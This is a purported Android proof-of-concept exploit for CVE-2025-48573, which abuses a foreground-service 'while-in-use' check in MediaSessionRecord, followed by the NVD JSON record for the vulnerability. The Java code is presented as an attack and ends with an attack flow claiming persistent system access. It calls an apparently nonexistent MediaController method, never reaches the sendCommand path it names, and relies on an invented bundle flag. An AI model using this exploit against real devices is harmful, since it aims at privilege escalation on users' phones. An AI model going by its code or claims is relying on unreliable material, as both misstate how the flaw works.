CVE-2025-48573

// CVE-2025-48573 PoC - FGS While-in-use Abuse in MediaSessionRecord // This PoC demonstrates the vulnerability in sendCommand of MediaSessionRecord.java // Note: This is for educational/research purposes only package com.example.fgsabuse; import android.content.ComponentName; import android.content.Context; import android.content.Intent; import android.media.session.MediaSessionManager; import android.media.session.ISession; import android.os.IBinder; import android.util.Log; public class FGSAbuseExploit { private static final String TAG = "FGSAbuse"; private static final String TARGET_PACKAGE = "android"; private static final String TARGET_CLASS = "com.android.server.media.MediaSessionRecord"; public void exploitFGSAbuse(Context context) { try { // Get MediaSessionManager service MediaSessionManager msm = (MediaSessionManager) context.getSystemService(Context.MEDIA_SESSION_SERVICE); // Attempt to create session and abuse FGS while-in-use // The vulnerability allows launching foreground service from background MediaSessionManager.OnActiveSessionsChangedListener listener = new MediaSessionManager.OnActiveSessionsChangedListener() { @Override public void onActiveSessionsChanged( java.util.List<android.media.session.MediaController> controllers) { // Trigger sendCommand while app is in background for (android.media.session.MediaController controller : controllers) { // Abuse the while-in-use mechanism attemptFGSSpoofing(controller); } } }; // Register listener to get access to MediaSession ComponentName componentName = new ComponentName(context, com.example.fgsabuse.MyService.class); msm.addOnActiveSessionsChangedListener(listener, componentName); Log.i(TAG, "FGS abuse exploit triggered"); } catch (Exception e) { Log.e(TAG, "Exploit failed: " + e.getMessage()); } } private void attemptFGSSpoofing( android.media.session.MediaController controller) { // Send commands that abuse the while-in-use check // This exploits the lack of proper background state validation try { // The vulnerability is in sendCommand not properly checking // if the calling app is in the foreground android.os.Bundle extras = new android.os.Bundle(); extras.putBoolean("android.media.session.FGS_WHILE_IN_USE", true); // This should be blocked but isn't due to the vulnerability controller.sendPlaybackAction( android.media.session.PlaybackState.ACTION_PLAY, extras); } catch (Exception e) { Log.e(TAG, "FGS spoofing failed: " + e.getMessage()); } } } // Background Service that triggers the exploit class MyService extends android.app.Service { @Override public void onCreate() { super.onCreate(); // Start foreground service to maintain access Intent notificationIntent = new Intent(this, MainActivity.class); android.app.PendingIntent pendingIntent = android.app.PendingIntent.getActivity(this, 0, notificationIntent, 0); android.app.Notification notification = new android.app.Notification.Builder(this, "channel_id") .setContentTitle("Media Service") .setContentText("Running") .setSmallIcon(R.drawable.ic_notification) .setContentIntent(pendingIntent) .build(); startForeground(1, notification); } @Override public IBinder onBind(Intent intent) { return null; } } /* * Attack Flow: * 1. Attacker creates malicious app with MediaSession permissions * 2. App registers MediaSessionManager listener * 3. App enters background state * 4. App triggers sendCommand to MediaSessionRecord * 5. Vulnerable code path doesn't properly validate foreground state * 6. Foreground service is launched despite app being in background * 7. Attacker gains persistent system access */

{"cve": {"id": "CVE-2025-48573", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:15.120", "lastModified": "2025-12-10T13:24:07.300", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In sendCommand of MediaSessionRecord.java, there is a possible way to launch the foreground service while the app is in the background due to FGS while-in-use abuse. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-250"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:*", "matchCriteriaId": "02882AB1-7993-47DD-84A0-8DF4272D85ED"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/frameworks/base/+/039030a6b0e7d255af70609a3607e805ad2a99ff", "source": "[email protected]", "tags": ["Product", "Patch"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}